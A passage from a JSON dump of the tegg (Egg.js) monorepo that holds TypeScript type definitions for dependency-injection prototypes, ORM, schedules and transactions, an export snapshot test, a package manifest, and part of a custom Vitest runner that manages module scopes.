    "content": "import {\n  AccessLevel,\n  type EggPrototypeInfo,\n  type ObjectInitTypeLike,\n  type QualifierInfo,\n} from '../../core-decorator/index.ts';\nimport { type ProtoDescriptorType } from '../enum/index.ts';\n\nexport type ProtoDescriptorTypeLike = ProtoDescriptorType | string;\n\nexport interface InjectObjectDescriptor {\n  refName: PropertyKey;\n  objName: PropertyKey;\n  qualifiers: QualifierInfo[];\n}\n\nexport interface ProtoDescriptor extends EggPrototypeInfo {\n  // base properties\n  name: PropertyKey;\n  accessLevel: AccessLevel;\n  initType: ObjectInitTypeLike;\n  qualifiers: QualifierInfo[];\n  injectObjects: InjectObjectDescriptor[];\n  protoImplType: string;\n  properQualifiers: Record<PropertyKey, QualifierInfo[]>;\n\n  // module info\n  defineModuleName: string;\n  defineUnitPath: string;\n  // multi instance proto may be used in other module\n  instanceModuleName: string;\n  instanceDefineUnitPath: string;\n\n  // test is the same proto\n  equal(protoDescriptor: ProtoDescriptor): boolean;\n}\n"
  },
  {
    "path": "tegg/core/types/src/metadata/model/index.ts",
    "content": "export * from './EggPrototype.ts';\nexport * from './Loader.ts';\nexport * from './LoadUnit.ts';\nexport * from './ProtoDescriptor.ts';\n"
  },
  {
    "path": "tegg/core/types/src/orm.ts",
    "content": "export interface AttributeOptions {\n  // field name, default is property name\n  name?: string;\n  // allow null, default is true\n  allowNull?: boolean;\n  // auto increment, default is false\n  autoIncrement?: boolean;\n  // primary field, default is false\n  primary?: boolean;\n  // unique field, default is false\n  unique?: boolean;\n}\n\nexport interface IndexOptions {\n  unique?: boolean;\n  primary?: boolean;\n  name?: string;\n}\n\nexport interface ModelParams {\n  tableName?: string;\n  dataSource?: string;\n}\n\nexport interface ModelIndexInfo {\n  fields: string[];\n  options?: IndexOptions;\n}\n\nexport interface ModelAttributeInfo {\n  dataType: string;\n  options?: AttributeOptions;\n}\n\nexport const MODEL_PROTO_IMPL_TYPE = 'MODEL_PROTO';\n\nexport const IS_MODEL: symbol = Symbol.for('EggPrototype#model#isModel');\nexport const MODEL_DATA_SOURCE: symbol = Symbol.for('EggPrototype#model#dataSource');\nexport const MODEL_DATA_TABLE_NAME: symbol = Symbol.for('EggPrototype#model#tableName');\nexport const MODEL_DATA_INDICES: symbol = Symbol.for('EggPrototype#model#indices');\nexport const MODEL_DATA_ATTRIBUTES: symbol = Symbol.for('EggPrototype#model#attributes');\n"
  },
  {
    "path": "tegg/core/types/src/runtime/Factory.ts",
    "content": "import type { EggObjectName } from '../core-decorator/index.ts';\nimport type { LifecycleContext } from '../lifecycle/index.ts';\nimport type { EggPrototype } from '../metadata/index.ts';\nimport type { EggContainer, EggObject, EggObjectLifeCycleContext } from './model/index.ts';\n\nexport type ContainerGetMethod = (proto: EggPrototype) => EggContainer<LifecycleContext>;\n\nexport type CreateObjectMethod = (\n  name: EggObjectName,\n  proto: EggPrototype,\n  lifecycleContext: EggObjectLifeCycleContext,\n) => Promise<EggObject>;\n"
  },
  {
    "path": "tegg/core/types/src/runtime/index.ts",
    "content": "export * from './Factory.ts';\nexport * from './model/index.ts';\n"
  },
  {
    "path": "tegg/core/types/src/runtime/model/EggContainer.ts",
    "content": "import type { EggObjectName, EggPrototypeName } from '../../core-decorator/index.ts';\nimport type { LifecycleContext, LifecycleObject } from '../../lifecycle/index.ts';\nimport type { EggPrototype } from '../../metadata/index.ts';\nimport type { EggObject } from './EggObject.ts';\n\nexport interface EggContainer<T extends LifecycleContext> extends LifecycleObject<T> {\n  // Call this method in LifecycleHook.preCreate\n  // To help container decide which proto should be create\n  iterateProtoToCreate(): IterableIterator<[EggObjectName, EggPrototype]>;\n  addProtoToCreate(name: EggPrototypeName, proto: EggPrototype): void;\n  deleteProtoToCreate(name: EggPrototypeName): void;\n\n  // async method for get or create object\n  getOrCreateEggObject(name: EggPrototypeName, proto: EggPrototype): Promise<EggObject>;\n\n  // sync method for get object\n  // object should be created before get, or throw Error\n  getEggObject(name: EggPrototypeName, proto: EggPrototype): EggObject;\n}\n"
  },
  {
    "path": "tegg/core/types/src/runtime/model/EggContext.ts",
    "content": "import type { EggContainer } from './EggContainer.ts';\n\nexport interface EggContextLifecycleContext {}\n\nexport interface EggRuntimeContext extends EggContainer<EggContextLifecycleContext> {\n  // ctx get/set method\n  get(key: string | symbol): any | undefined;\n  set(key: string | symbol, val: any): void;\n}\n"
  },
  {
    "path": "tegg/core/types/src/runtime/model/EggObject.ts",
    "content": "import type { EggPrototypeName } from '../../core-decorator/index.ts';\nimport type { LifecycleContext, LifecycleObject } from '../../lifecycle/index.ts';\nimport type { EggPrototype, LoadUnit } from '../../metadata/index.ts';\nimport type { EggRuntimeContext } from './EggContext.ts';\nimport type { LoadUnitInstance } from './LoadUnitInstance.ts';\n\nexport const EggObjectStatus = {\n  PENDING: 'PENDING',\n  READY: 'READY',\n  ERROR: 'ERROR',\n  DESTROYING: 'DESTROYING',\n  DESTROYED: 'DESTROYED',\n} as const;\nexport type EggObjectStatus = (typeof EggObjectStatus)[keyof typeof EggObjectStatus];\n\nexport interface EggObjectLifeCycleContext extends LifecycleContext {\n  readonly loadUnit: LoadUnit;\n  readonly loadUnitInstance: LoadUnitInstance;\n}\n\nexport interface EggObject extends LifecycleObject<EggObjectLifeCycleContext> {\n  readonly isReady: boolean;\n  readonly obj: Record<string | symbol, any>;\n  readonly proto: EggPrototype;\n  readonly name: EggPrototypeName;\n  readonly ctx?: EggRuntimeContext;\n\n  injectProperty(name: string, descriptor: PropertyDescriptor): void;\n}\n"
  },
  {
    "path": "tegg/core/types/src/runtime/model/LoadUnitInstance.ts",
    "content": "import type { LoadUnit } from '../../metadata/index.ts';\nimport type { EggContainer } from './EggContainer.ts';\n\nexport interface LoadUnitInstanceLifecycleContext {\n  loadUnit: LoadUnit;\n}\n\nexport interface LoadUnitInstance extends EggContainer<LoadUnitInstanceLifecycleContext> {\n  readonly name: string;\n  readonly loadUnit: LoadUnit;\n}\n"
  },
  {
    "path": "tegg/core/types/src/runtime/model/index.ts",
    "content": "export * from './EggContainer.ts';\nexport * from './EggContext.ts';\nexport * from './EggObject.ts';\nexport * from './LoadUnitInstance.ts';\n"
  },
  {
    "path": "tegg/core/types/src/schedule.ts",
    "content": "import type { EggEnvType } from 'egg';\nimport type { CronOptions } from 'egg/schedule';\n\nexport const ScheduleType = {\n  WORKER: 'worker',\n  ALL: 'all',\n} as const;\nexport type ScheduleType = (typeof ScheduleType)[keyof typeof ScheduleType];\n\nexport const IS_SCHEDULE: symbol = Symbol.for('EggPrototype#isSchedule');\nexport const SCHEDULE_PARAMS: symbol = Symbol.for('EggPrototype#schedule#params');\nexport const SCHEDULE_OPTIONS: symbol = Symbol.for('EggPrototype#schedule#options');\nexport const SCHEDULE_METADATA: symbol = Symbol.for('EggPrototype#schedule#metadata');\n\nexport type ScheduleTypeLike = ScheduleType | string;\n\nexport interface ScheduleParams<T> {\n  type: ScheduleTypeLike;\n  scheduleData: T;\n}\n\nexport interface CronParams {\n  cron: string;\n  cronOptions?: CronOptions;\n}\n\nexport interface IntervalParams {\n  interval: string | number;\n}\n\nexport type CronScheduleParams = ScheduleParams<CronParams>;\nexport type IntervalScheduleParams = ScheduleParams<IntervalParams>;\n\nexport interface ScheduleOptions {\n  // default is false\n  immediate?: boolean;\n  // default is false\n  disable?: boolean;\n  // if env has value, only run in this envs\n  env?: EggEnvType[];\n}\n\n/**\n * Schedule subscriber interface\n *\n * @example\n * ```typescript\n * export class FooSubscriber implements ScheduleSubscriber {\n *   async subscribe(data?: any): Promise<any> {\n *     return 'foo';\n *   }\n * }\n * ```\n */\nexport interface ScheduleSubscriber {\n  subscribe(data?: any): Promise<any>;\n}\n"
  },
  {
    "path": "tegg/core/types/src/transaction.ts",
    "content": "export const PropagationType = {\n  /** 不管是当前调用栈是否存在事务，始终让当前函数在新的事务中执行 */\n  ALWAYS_NEW: 'ALWAYS_NEW',\n  /** 如果当前调用栈存在事务则复用，否则创建一个 */\n  REQUIRED: 'REQUIRED',\n} as const;\nexport type PropagationType = (typeof PropagationType)[keyof typeof PropagationType];\n\nexport interface TransactionalParams {\n  /** 事务传播方式，默认 REQUIRED */\n  propagation?: PropagationType;\n  /**\n   * 数据源，默认使用 module 的数据源，非 module 时将使用 default 数据源\n   * 需要注意的是数据源之间的连接是隔离的，回滚也是独立的\n   * 比如函数 B 在函数 A 中执行，A 执行异常时，不会回滚 B 中执行的 sql\n   * */\n  datasourceName?: string;\n}\n\nexport interface TransactionMetadata {\n  propagation: PropagationType;\n  method: PropertyKey;\n  datasourceName?: string;\n}\n\nexport const TRANSACTION_META_DATA: symbol = Symbol.for('EggPrototype#transaction#metaData');\nexport const IS_TRANSACTION_CLAZZ: symbol = Symbol.for('EggPrototype#IS_TRANSACTION_CLAZZ');\n"
  },
  {
    "path": "tegg/core/types/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should export stable 1`] = `\n{\n  \"AGENT_CONTROLLER_PROTO_IMPL_TYPE\": \"AGENT_CONTROLLER_PROTO\",\n  \"ASPECT_LIST\": Symbol(EggPrototype#aspectList),\n  \"AccessLevel\": {\n    \"PRIVATE\": \"PRIVATE\",\n    \"PUBLIC\": \"PUBLIC\",\n  },\n  \"AgentConflictError\": [Function],\n  \"AgentErrorCode\": {\n    \"ExecError\": \"EXEC_ERROR\",\n  },\n  \"AgentNotFoundError\": [Function],\n  \"AgentObjectType\": {\n    \"Thread\": \"thread\",\n    \"ThreadMessage\": \"thread.message\",\n    \"ThreadMessageDelta\": \"thread.message.delta\",\n    \"ThreadRun\": \"thread.run\",\n  },\n  \"AgentSSEEvent\": {\n    \"Done\": \"done\",\n    \"ThreadMessageCompleted\": \"thread.message.completed\",\n    \"ThreadMessageCreated\": \"thread.message.created\",\n    \"ThreadMessageDelta\": \"thread.message.delta\",\n    \"ThreadRunCancelled\": \"thread.run.cancelled\",\n    \"ThreadRunCompleted\": \"thread.run.completed\",\n    \"ThreadRunCreated\": \"thread.run.created\",\n    \"ThreadRunFailed\": \"thread.run.failed\",\n    \"ThreadRunInProgress\": \"thread.run.in_progress\",\n  },\n  \"CONSTRUCTOR_QUALIFIER_META_DATA\": Symbol(EggPrototype#constructorQualifier),\n  \"CONTROLLER_ACL\": Symbol(EggPrototype#controller#acl),\n  \"CONTROLLER_AGENT_CONTROLLER\": Symbol(EggPrototype#controller#agent#isAgent),\n  \"CONTROLLER_AGENT_ENHANCED\": Symbol(EggPrototype#controller#agent#enhanced),\n  \"CONTROLLER_AGENT_NOT_IMPLEMENTED\": Symbol(EggPrototype#controller#agent#notImplemented),\n  \"CONTROLLER_AOP_MIDDLEWARES\": Symbol(EggPrototype#controller#aopMiddlewares),\n  \"CONTROLLER_HOST\": Symbol(EggPrototype#controllerHost),\n  \"CONTROLLER_HTTP_PATH\": Symbol(EggPrototype#controller#http#path),\n  \"CONTROLLER_MCP_CONTROLLER_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#params),\n  \"CONTROLLER_MCP_EXTRA_INDEX\": Symbol(EggPrototype#controller#mcp#extra),\n  \"CONTROLLER_MCP_NAME\": Symbol(EggPrototype#controller#mcp#name),\n  \"CONTROLLER_MCP_PROMPT_ARGS_INDEX\": Symbol(EggPrototype#controller#mcp#prompt#args),\n  \"CONTROLLER_MCP_PROMPT_MAP\": Symbol(EggPrototype#controller#mcp#prompt),\n  \"CONTROLLER_MCP_PROMPT_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#prompt#params),\n  \"CONTROLLER_MCP_RESOURCE_MAP\": Symbol(EggPrototype#controller#mcp#resource),\n  \"CONTROLLER_MCP_RESOURCE_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#resource#params),\n  \"CONTROLLER_MCP_TOOL_ARGS_INDEX\": Symbol(EggPrototype#controller#mcp#tool#args),\n  \"CONTROLLER_MCP_TOOL_MAP\": Symbol(EggPrototype#controller#mcp#tool),\n  \"CONTROLLER_MCP_TOOL_PARAMS_MAP\": Symbol(EggPrototype#controller#mcp#tool#params),\n  \"CONTROLLER_MCP_VERSION\": Symbol(EggPrototype#controller#mcp#version),\n  \"CONTROLLER_META_DATA\": Symbol(EggPrototype#controller#metaData),\n  \"CONTROLLER_METHOD_METHOD_MAP\": Symbol(EggPrototype#controller#method#http#method),\n  \"CONTROLLER_METHOD_PARAM_NAME_MAP\": Symbol(EggPrototype#controller#method#http#params#name),\n  \"CONTROLLER_METHOD_PARAM_TYPE_MAP\": Symbol(EggPrototype#controller#method#http#params#type),\n  \"CONTROLLER_METHOD_PATH_MAP\": Symbol(EggPrototype#controller#method#http#path),\n  \"CONTROLLER_METHOD_PRIORITY\": Symbol(EggPrototype#controller#method#http#priority),\n  \"CONTROLLER_MIDDLEWARES\": Symbol(EggPrototype#controller#middlewares),\n  \"CONTROLLER_NAME\": Symbol(EggPrototype#controllerName),\n  \"CONTROLLER_TIMEOUT_METADATA\": Symbol(EggPrototype#controller#timeout),\n  \"CONTROLLER_TYPE\": Symbol(EggPrototype#controllerType),\n  \"CROSSCUT_INFO_LIST\": Symbol(EggPrototype#crosscutInfoList),\n  \"ColumnFormat\": {\n    \"DEFAULT\": \"DEFAULT\",\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"FIXED\": \"FIXED\",\n  },\n  \"ColumnType\": {\n    \"BIGINT\": \"BIGINT\",\n    \"BINARY\": \"BINARY\",\n    \"BIT\": \"BIT\",\n    \"BLOB\": \"BLOB\",\n    \"BOOL\": \"BOOL\",\n    \"CHAR\": \"CHAR\",\n    \"DATE\": \"DATE\",\n    \"DATETIME\": \"DATETIME\",\n    \"DECIMAL\": \"DECIMAL\",\n    \"DOUBLE\": \"DOUBLE\",\n    \"ENUM\": \"ENUM\",\n    \"FLOAT\": \"FLOAT\",\n    \"GEOMETRY\": \"GEOMETRY\",\n    \"GEOMETRYCOLLECTION\": \"GEOMETRYCOLLECTION\",\n    \"INT\": \"INT\",\n    \"JSON\": \"JSON\",\n    \"LINESTRING\": \"LINESTRING\",\n    \"LONGBLOB\": \"LONGBLOB\",\n    \"LONGTEXT\": \"LONGTEXT\",\n    \"MEDIUMBLOB\": \"MEDIUMBLOB\",\n    \"MEDIUMINT\": \"MEDIUMINT\",\n    \"MEDIUMTEXT\": \"MEDIUMTEXT\",\n    \"MULTILINESTRING\": \"MULTILINESTRING\",\n    \"MULTIPOINT\": \"MULTIPOINT\",\n    \"MULTIPOLYGON\": \"MULTIPOLYGON\",\n    \"POINT\": \"POINT\",\n    \"POLYGON\": \"POLYGON\",\n    \"SET\": \"SET\",\n    \"SMALLINT\": \"SMALLINT\",\n    \"TEXT\": \"TEXT\",\n    \"TIME\": \"TIME\",\n    \"TIMESTAMP\": \"TIMESTAMP\",\n    \"TINYBLOB\": \"TINYBLOB\",\n    \"TINYINT\": \"TINYINT\",\n    \"TINYTEXT\": \"TINYTEXT\",\n    \"VARBINARY\": \"VARBINARY\",\n    \"VARCHAR\": \"VARCHAR\",\n    \"YEAR\": \"YEAR\",\n  },\n  \"CompressionType\": {\n    \"LZ4\": \"LZ4\",\n    \"NONE\": \"NONE\",\n    \"ZLIB\": \"ZLIB\",\n  },\n  \"ConfigSourceQualifierAttribute\": Symbol(Qualifier.ConfigSource),\n  \"ContentBlockType\": {\n    \"Text\": \"text\",\n  },\n  \"ControllerType\": {\n    \"HEADERS\": \"HEADERS\",\n    \"HTTP\": \"HTTP\",\n    \"MCP\": \"MCP\",\n    \"MESSAGE\": \"MESSAGE\",\n    \"MGW_RPC\": \"MGW_RPC\",\n    \"MGW_RPC_STREAM\": \"MGW_RPC_STREAM\",\n    \"SCHEDULE\": \"SCHEDULE\",\n    \"SOFA_RPC\": \"SOFA_RPC\",\n    \"SOFA_RPC_STREAM\": \"SOFA_RPC_STREAM\",\n  },\n  \"DAL_COLUMN_INFO_MAP\": Symbol(EggPrototype#dalColumnInfoMap),\n  \"DAL_COLUMN_TYPE_MAP\": Symbol(EggPrototype#dalColumnTypeMap),\n  \"DAL_INDEX_LIST\": Symbol(EggPrototype#dalIndexList),\n  \"DAL_IS_DAO\": Symbol(EggPrototype#dalIsDao),\n  \"DAL_IS_TABLE\": Symbol(EggPrototype#dalIsTable),\n  \"DAL_TABLE_PARAMS\": Symbol(EggPrototype#dalTableParams),\n  \"DEFAULT_PROTO_IMPL_TYPE\": \"DEFAULT\",\n  \"DataSourceInjectName\": \"dataSource\",\n  \"DataSourceQualifierAttribute\": Symbol(Qualifier.DataSource),\n  \"EggLoadUnitType\": {\n    \"APP\": \"APP\",\n    \"MODULE\": \"MODULE\",\n    \"PLUGIN\": \"PLUGIN\",\n  },\n  \"EggObjectStatus\": {\n    \"DESTROYED\": \"DESTROYED\",\n    \"DESTROYING\": \"DESTROYING\",\n    \"ERROR\": \"ERROR\",\n    \"PENDING\": \"PENDING\",\n    \"READY\": \"READY\",\n  },\n  \"EggQualifierAttribute\": Symbol(Qualifier.Egg),\n  \"EggType\": {\n    \"APP\": \"APP\",\n    \"CONTEXT\": \"CONTEXT\",\n  },\n  \"ErrorCodes\": {\n    \"EGG_PROTO_NOT_FOUND\": \"EGG_PROTO_NOT_FOUND\",\n    \"INCOMPATIBLE_PROTO_INJECT\": \"INCOMPATIBLE_PROTO_INJECT\",\n    \"MULTI_PROTO_FOUND\": \"MULTI_PROTO_FOUND\",\n  },\n  \"HTTPMethodEnum\": {\n    \"DELETE\": \"DELETE\",\n    \"GET\": \"GET\",\n    \"HEAD\": \"HEAD\",\n    \"OPTIONS\": \"OPTIONS\",\n    \"PATCH\": \"PATCH\",\n    \"POST\": \"POST\",\n    \"PUT\": \"PUT\",\n  },\n  \"HTTPParamType\": {\n    \"BODY\": \"BODY\",\n    \"COOKIES\": \"COOKIES\",\n    \"HEADERS\": \"HEADERS\",\n    \"PARAM\": \"PARAM\",\n    \"QUERIES\": \"QUERIES\",\n    \"QUERY\": \"QUERY\",\n    \"REQUEST\": \"REQUEST\",\n  },\n  \"INIT_TYPE_TRY_ORDER\": [\n    \"CONTEXT\",\n    \"SINGLETON\",\n    \"ALWAYS_NEW\",\n  ],\n  \"IS_CROSSCUT_ADVICE\": Symbol(EggPrototype#isCrosscutAdvice),\n  \"IS_MODEL\": Symbol(EggPrototype#model#isModel),\n  \"IS_SCHEDULE\": Symbol(EggPrototype#isSchedule),\n  \"IS_TRANSACTION_CLAZZ\": Symbol(EggPrototype#IS_TRANSACTION_CLAZZ),\n  \"IndexStoreType\": {\n    \"BTREE\": \"BTREE\",\n    \"HASH\": \"HASH\",\n  },\n  \"IndexType\": {\n    \"FULLTEXT\": \"FULLTEXT\",\n    \"INDEX\": \"INDEX\",\n    \"PRIMARY\": \"PRIMARY\",\n    \"SPATIAL\": \"SPATIAL\",\n    \"UNIQUE\": \"UNIQUE\",\n  },\n  \"InitTypeQualifierAttribute\": Symbol(Qualifier.InitType),\n  \"InjectType\": {\n    \"CONSTRUCTOR\": \"CONSTRUCTOR\",\n    \"PROPERTY\": \"PROPERTY\",\n  },\n  \"InsertMethod\": {\n    \"FIRST\": \"FIRST\",\n    \"LAST\": \"LAST\",\n    \"NO\": \"NO\",\n  },\n  \"InvalidRunStateTransitionError\": [Function],\n  \"LoadUnitNameQualifierAttribute\": Symbol(Qualifier.LoadUnitName),\n  \"MCPProtocols\": {\n    \"SSE\": \"SSE\",\n    \"STDIO\": \"STDIO\",\n    \"STREAM\": \"STREAM\",\n  },\n  \"METHOD_ACL\": Symbol(EggPrototype#method#acl),\n  \"METHOD_AOP_MIDDLEWARES\": Symbol(EggPrototype#method#aopMiddlewares),\n  \"METHOD_AOP_REGISTER_MAP\": Symbol(EggPrototype#method#aopMiddlewaresRegister),\n  \"METHOD_CONTEXT_INDEX\": Symbol(EggPrototype#controller#method#context),\n  \"METHOD_CONTROLLER_HOST\": Symbol(EggPrototype#controller#mthods#host),\n  \"METHOD_CONTROLLER_TYPE_MAP\": Symbol(EggPrototype#controller#mthods),\n  \"METHOD_MIDDLEWARES\": Symbol(EggPrototype#method#middlewares),\n  \"METHOD_TIMEOUT_METADATA\": Symbol(EggPrototype#method#timeout),\n  \"MODEL_DATA_ATTRIBUTES\": Symbol(EggPrototype#model#attributes),\n  \"MODEL_DATA_INDICES\": Symbol(EggPrototype#model#indices),\n  \"MODEL_DATA_SOURCE\": Symbol(EggPrototype#model#dataSource),\n  \"MODEL_DATA_TABLE_NAME\": Symbol(EggPrototype#model#tableName),\n  \"MODEL_PROTO_IMPL_TYPE\": \"MODEL_PROTO\",\n  \"MessageRole\": {\n    \"Assistant\": \"assistant\",\n    \"System\": \"system\",\n    \"User\": \"user\",\n  },\n  \"MessageStatus\": {\n    \"Completed\": \"completed\",\n    \"InProgress\": \"in_progress\",\n    \"Incomplete\": \"incomplete\",\n  },\n  \"MethodType\": {\n    \"HTTP\": \"HTTP\",\n    \"MESSAGE\": \"MESSAGE\",\n    \"MGW_RPC\": \"MGW_RPC\",\n    \"MGW_RPC_STREAM\": \"MGW_RPC_STREAM\",\n    \"SCHEDULE\": \"SCHEDULE\",\n    \"SOFA_RPC\": \"SOFA_RPC\",\n    \"SOFA_RPC_STREAM\": \"SOFA_RPC_STREAM\",\n  },\n  \"MultiInstanceType\": {\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"STATIC\": \"STATIC\",\n  },\n  \"ObjectInitType\": {\n    \"ALWAYS_NEW\": \"ALWAYS_NEW\",\n    \"CONTEXT\": \"CONTEXT\",\n    \"SINGLETON\": \"SINGLETON\",\n  },\n  \"POINTCUT_ADVICE_INFO_LIAR\": Symbol(EggPrototype#pointcutAdviceInfoList),\n  \"PROPERTY_QUALIFIER_META_DATA\": Symbol(EggPrototype#propertyQualifier),\n  \"PointcutType\": {\n    \"CLASS\": \"CLASS\",\n    \"CUSTOM\": \"CUSTOM\",\n    \"NAME\": \"NAME\",\n  },\n  \"PropagationType\": {\n    \"ALWAYS_NEW\": \"ALWAYS_NEW\",\n    \"REQUIRED\": \"REQUIRED\",\n  },\n  \"ProtoDescriptorType\": {\n    \"CLASS\": \"CLASS\",\n  },\n  \"QUALIFIER_IMPL_MAP\": Symbol(EggPrototype#qualifierImplMap),\n  \"QUALIFIER_META_DATA\": Symbol(EggPrototype#qualifier),\n  \"RowFormat\": {\n    \"COMPACT\": \"COMPACT\",\n    \"COMPRESSED\": \"COMPRESSED\",\n    \"DEFAULT\": \"DEFAULT\",\n    \"DYNAMIC\": \"DYNAMIC\",\n    \"FIXED\": \"FIXED\",\n    \"REDUNDANT\": \"REDUNDANT\",\n  },\n  \"RunStatus\": {\n    \"Cancelled\": \"cancelled\",\n    \"Cancelling\": \"cancelling\",\n    \"Completed\": \"completed\",\n    \"Expired\": \"expired\",\n    \"Failed\": \"failed\",\n    \"InProgress\": \"in_progress\",\n    \"Queued\": \"queued\",\n  },\n  \"SCHEDULE_METADATA\": Symbol(EggPrototype#schedule#metadata),\n  \"SCHEDULE_OPTIONS\": Symbol(EggPrototype#schedule#options),\n  \"SCHEDULE_PARAMS\": Symbol(EggPrototype#schedule#params),\n  \"ScheduleType\": {\n    \"ALL\": \"all\",\n    \"WORKER\": \"worker\",\n  },\n  \"SqlType\": {\n    \"BLOCK\": \"BLOCK\",\n    \"DELETE\": \"DELETE\",\n    \"INSERT\": \"INSERT\",\n    \"SELECT\": \"SELECT\",\n    \"UPDATE\": \"UPDATE\",\n  },\n  \"TRANSACTION_META_DATA\": Symbol(EggPrototype#transaction#metaData),\n  \"Templates\": {\n    \"BASE_DAO\": \"base_dao\",\n    \"DAO\": \"dao\",\n    \"EXTENSION\": \"extension\",\n  },\n}\n`;\n"
  },
  {
    "path": "tegg/core/types/test/index.test.ts",
    "content": "import { expect, it } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\nit('should export stable', async () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "tegg/core/types/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/vitest/index.ts",
    "content": "export * from './src/index.ts';\n"
  },
  {
    "path": "tegg/core/vitest/package.json",
    "content": "{\n  \"name\": \"@eggjs/tegg-vitest\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"Vitest adapter for tegg context injection\",\n  \"keywords\": [\n    \"adapter\",\n    \"egg\",\n    \"tegg\",\n    \"test\",\n    \"vitest\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/vitest\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/vitest\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./runner\": \"./src/runner.ts\",\n    \"./shared\": \"./src/shared.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./runner\": \"./dist/runner.js\",\n      \"./shared\": \"./dist/shared.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/mock\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@types/node\": \"catalog:\",\n    \"egg\": \"workspace:*\",\n    \"tsx\": \"catalog:\",\n    \"typescript\": \"catalog:\",\n    \"vitest\": \"catalog:\"\n  },\n  \"peerDependencies\": {\n    \"vitest\": \"^4.0.15\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/vitest/runner.ts",
    "content": "export { default } from './src/runner.ts';\n"
  },
  {
    "path": "tegg/core/vitest/src/index.ts",
    "content": "import { defaultGetApp } from './shared.ts';\nimport type { TeggVitestAdapterOptions } from './shared.ts';\n\nexport type { EggMockApp, TeggVitestAdapterOptions } from './shared.ts';\n\n/**\n * Configure the custom Vitest runner (used via globalThis.__teggVitestConfig).\n * Call this in a setupFile and set `runner` in vitest.config.ts to use the runner approach.\n */\nexport function configureTeggRunner(options: TeggVitestAdapterOptions = {}): void {\n  (globalThis as any).__teggVitestConfig = {\n    restoreMocks: options.restoreMocks ?? true,\n    getApp: options.getApp ?? defaultGetApp,\n  };\n}\n"
  },
  {
    "path": "tegg/core/vitest/src/runner.ts",
    "content": "import type { RunnerTestSuite as Suite, RunnerTask as Task, RunnerTestFile as File } from 'vitest';\nimport { VitestTestRunner } from 'vitest/runners';\n\nimport { debugLog, defaultGetApp, restoreEggMocksIfNeeded } from './shared.ts';\nimport type { EggMockApp } from './shared.ts';\n\ninterface TeggRunnerConfig {\n  restoreMocks: boolean;\n  getApp: () => Promise<EggMockApp | undefined> | EggMockApp | undefined;\n}\n\ninterface HeldScope {\n  scopePromise: Promise<void>;\n  endScope: () => void;\n}\n\ninterface FileAppState {\n  app: EggMockApp;\n  config: TeggRunnerConfig;\n}\n\ninterface FileScopeState {\n  app: EggMockApp;\n  config: TeggRunnerConfig;\n  suiteCtx: any;\n  suiteScope: HeldScope | null;\n}\n\ninterface TaskScopeState {\n  testScope: HeldScope | null;\n  filepath: string;\n}\n\n/**\n * Create a held beginModuleScope: starts the scope and waits until init() is\n * complete (the inner fn starts executing), then returns the held scope.\n * The scope stays alive until endScope() is called.\n */\nasync function createHeldScope(ctx: any): Promise<HeldScope> {\n  let endScope!: () => void;\n  const gate = new Promise<void>((resolve) => {\n    endScope = resolve;\n  });\n\n  let scopeReady!: () => void;\n  const readyPromise = new Promise<void>((resolve) => {\n    scopeReady = resolve;\n  });\n\n  const scopePromise = ctx.beginModuleScope(async () => {\n    // init() has completed at this point, signal readiness\n    scopeReady();\n    await gate;\n  });\n\n  // Race readyPromise against scopePromise: if beginModuleScope rejects\n  // before invoking the callback (so scopeReady is never called), the error\n  // propagates immediately instead of hanging forever on readyPromise.\n  // Promise.race attaches a rejection handler to scopePromise, so there are\n  // no unhandled rejections. scopePromise itself is preserved as-is for\n  // gate/endScope behavior in releaseHeldScope.\n  await Promise.race([readyPromise, scopePromise]);\n\n  return { scopePromise, endScope };\n}\n\nasync function releaseHeldScope(scope: HeldScope | null): Promise<void> {\n  if (!scope) return;\n  scope.endScope();\n  await scope.scopePromise;\n}\n\nfunction isFileSuite(suite: Suite): suite is File {\n  return !suite.suite && !!(suite as File).filepath;\n}\n\nfunction getTaskFilepath(task: Task): string | undefined {\n  return (task as any).file?.filepath;\n}\n\nexport default class TeggVitestRunner extends VitestTestRunner {\n  private sharedMode: boolean;\n  private fileScopeMap = new Map<string, FileScopeState>();\n  private taskScopeMap = new Map<string, TaskScopeState>();\n  private fileAppMap = new Map<string, FileAppState>();\n  private warned = false;\n\n  constructor(config: ConstructorParameters<typeof VitestTestRunner>[0]) {\n    super(config);\n    // When isolate: false, all test files share the same worker and module cache.\n    // The app must not be closed between files — only after all files finish.\n    this.sharedMode = !config.isolate;\n    if (this.sharedMode) {\n      (globalThis as Record<string, unknown>).__eggVitestSharedMode = true;\n      debugLog('shared mode enabled (isolate: false)');\n    }\n  }\n\n  override onAfterRunFiles(): void {\n    // NOTE: vitest calls onAfterRunFiles() after each batch of files, not once\n    // after all files globally. In shared mode (isolate: false), we must NOT\n    // close the app here — the worker thread termination handles cleanup.\n    